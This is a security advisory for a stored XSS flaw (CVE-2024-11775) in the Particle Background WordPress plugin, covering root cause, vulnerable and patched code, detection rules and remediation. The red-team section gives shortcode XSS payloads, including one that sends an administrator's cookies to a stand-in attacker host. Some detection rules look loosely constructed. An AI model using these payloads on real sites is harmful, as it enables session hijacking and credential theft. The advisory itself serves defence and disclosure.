CVE-2024-11775

Executive Summary

CVE-2024-11775 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Particle Background WordPress plugin, affecting all versions up to and including 1.0.2. The vulnerability resides in the plugin's particleground shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a user visits a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This is a WordPress ecosystem issue; the vulnerability is entirely within the plugin's code and not related to the underlying web server (Apache or Nginx).

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory. Users should verify the integrity of their plugin files and ensure they are sourced from the official repository. No known supply chain compromise has been reported for this plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level access)
• User Interaction: None
• Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used plugin can lead to significant impact, especially if exploited by a Contributor to target higher-privileged users (e.g., Administrators).

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in a WordPress shortcode. The particleground shortcode is used to render a particle animation background. The plugin fails to properly sanitize and escape user-supplied attributes passed to the shortcode.

Root Cause: The plugin uses shortcode_atts() to merge user-provided attributes with defaults, but it does not apply esc_attr() or wp_kses() to the attribute values before outputting them into the HTML/JavaScript context. An attacker can inject malicious JavaScript code into an attribute like data-color or data-line-color.

Attack Flow:

1. An attacker with Contributor-level access creates or edits a post/page.
2. The attacker inserts the [particleground] shortcode with a malicious attribute, e.g., [particleground data-color="red\" onmouseover=\"alert('XSS')\""].
3. The plugin processes the shortcode and outputs the attribute value directly into the HTML without escaping.
4. When any user (including Administrators) views the page, the injected script executes.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.0.2):

// In particle-background.php
function particleground_shortcode($atts) {
    $atts = shortcode_atts(array(
        'data-color' => '#ffffff',
        'data-line-color' => '#ffffff',
        // ... other defaults
    ), $atts);

    // Direct output without escaping
    $output = '<div id="particle-background" data-color="' . $atts['data-color'] . '" data-line-color="' . $atts['data-line-color'] . '"></div>';
    return $output;
}

Patched Code (hypothetical fix):

function particleground_shortcode($atts) {
    $atts = shortcode_atts(array(
        'data-color' => '#ffffff',
        'data-line-color' => '#ffffff',
        // ... other defaults
    ), $atts);

    // Properly escape attribute values
    $output = '<div id="particle-background" data-color="' . esc_attr($atts['data-color']) . '" data-line-color="' . esc_attr($atts['data-line-color']) . '"></div>';
    return $output;
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with Particle Background plugin <= 1.0.2
• User account with Contributor-level privileges or higher

Exploitation Steps:

1. Log in as a Contributor.
2. Create a new post or page.
3. In the content editor (Text mode), insert the following shortcode:

   [particleground data-color="red\" onmouseover=\"alert(document.cookie)\""]
   

4. Publish the post.
5. When any user visits the post, moving the mouse over the particle background triggers the XSS payload.

Alternative Payload (Steal Admin Cookie):

[particleground data-color="red\" onfocus=\"fetch('https://attacker.com/steal?cookie='+document.cookie)\" autofocus=""]

Blue Team (Detection & Response)

Detection:

• Monitor for posts/pages containing the [particleground] shortcode with suspicious attribute values (e.g., containing onmouseover, onfocus, javascript:).
• Review user activity logs for Contributor-level users creating posts with unusual shortcode usage.

Response:

1. Immediately disable the Particle Background plugin.
2. Remove any malicious posts/pages.
3. Reset all user sessions and force password changes.
4. Scan for other indicators of compromise (IOCs).

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/particle-background/particle-background.php (version <= 1.0.2)
• Shortcode pattern: [particleground data-color="..."] where the attribute contains JavaScript event handlers (e.g., onmouseover, onfocus).
• HTTP Request: POST to /wp-admin/post.php with action=edit and post_content containing the malicious shortcode.
• Log entry: WordPress audit log showing creation/editing of posts by Contributor-level users with unusual shortcode usage.

Detection Engineering

YARA Rule

rule CVE_2024_11775_WordPress_Particle_Background_XSS {
    meta:
        description = "Detects malicious shortcode injection in Particle Background plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-11775"
    strings:
        $shortcode = /\[particleground\s+[^\]]*?(on\w+\s*=|javascript:)/i
        $plugin_file = "particle-background.php"
    condition:
        $shortcode or $plugin_file
}

Sigma Rule

title: CVE-2024-11775 - Stored XSS via Particle Background Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects creation of posts/pages containing malicious Particle Background shortcode
author: Valters IT
date: 2024-01-01
logsource:
    product: wordpress
    service: audit
detection:
    selection:
        EventID: 1000  # Post created/updated
        PostContent|contains: '[particleground'
        PostContent|re: 'on\w+\s*=|javascript:'
    condition: selection
falsepositives:
    - Legitimate use of shortcode with safe attributes
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-11775 - Stored XSS via Particle Background Shortcode"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"action=edit"; http_uri; content:"[particleground"; http_client_body; pcre:"/(on\w+\s*=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Remove any malicious posts/pages containing the vulnerable shortcode.
3. Review user accounts with Contributor-level access and revoke if unnecessary.

Long-term Fix:

• The vendor must release a patched version that properly escapes shortcode attributes using esc_attr().
• Until then, consider using a Web Application Firewall (WAF) rule to block requests containing [particleground with suspicious patterns.

Workaround:

• Restrict Contributor-level users from using shortcodes via a plugin like "Shortcodes Finder" or by modifying user capabilities.

Valters IT